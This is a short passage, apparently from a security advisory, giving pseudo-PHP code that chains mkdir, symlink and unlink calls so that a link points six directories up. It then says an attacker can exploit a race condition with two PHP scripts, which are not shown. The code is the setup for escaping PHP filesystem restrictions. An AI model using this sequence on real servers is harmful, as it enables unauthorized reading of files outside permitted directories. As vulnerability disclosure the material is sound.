Example (pseudo PHP code):
mkdir("a/a/a/a/a/a");
symlink("a/a/a/a/a/a", "dummy");
symlink("dummy/../../../../../../", "xxx");
unlink("dummy");
symlink(".", "dummy");
After this code sequence "xxx" points to 6 directories up. Having
achieved this it is possible for an attacker to exploit the race
condition by creating 2 PHP scripts.